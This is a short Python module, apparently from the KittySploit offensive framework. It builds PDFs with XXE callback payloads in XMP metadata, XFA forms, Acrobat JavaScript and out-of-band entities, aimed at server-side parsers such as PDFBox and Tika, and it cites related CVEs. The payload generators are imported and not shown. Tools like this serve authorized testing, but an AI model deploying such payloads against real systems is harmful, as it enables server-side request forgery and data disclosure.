PDF XXE Payload Generator
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
from kittysploit import *
from lib.pdf.mixins import PdfPhonehomeMixin, format_test_ids
from lib.pdf.generators.javascript import write_js_xxe_xmldata
from lib.pdf.generators.xxe import write_xxe_xmp_metadata, write_xxe_xfa_acroform, write_xfa_xxe_oob
class Module(Auxiliary, PdfPhonehomeMixin):
__info__ = {
"name": "PDF XXE Payload Generator",
"description": (
"Generate PDFs with XML external entity callbacks in XMP metadata, XFA "
"forms, Acrobat JavaScript XMLData.parse(), and OOB parameter entities "
"targeting server-side parsers (PDFBox, iText, Apache Tika)."
),
"author": ["KittySploit Team"],
"references": [
"https://nvd.nist.gov/vuln/detail/CVE-2016-2175",
"https://nvd.nist.gov/vuln/detail/CVE-2017-9096",
"https://nvd.nist.gov/vuln/detail/CVE-2025-66516",
],
"tags": ["pdf", "xxe", "ssrf", "callback", "tika", "pdfbox"],
}
PDF_GENERATORS = (
write_js_xxe_xmldata,
write_xxe_xmp_metadata,
write_xxe_xfa_acroform,
write_xfa_xxe_oob,
)
MODULE_TITLE = "PDF XXE payload generator"
def run(self):
print_info(f" Test ids: {format_test_ids(self.PDF_GENERATORS)}")
return self.run_pdf_phonehome()Data
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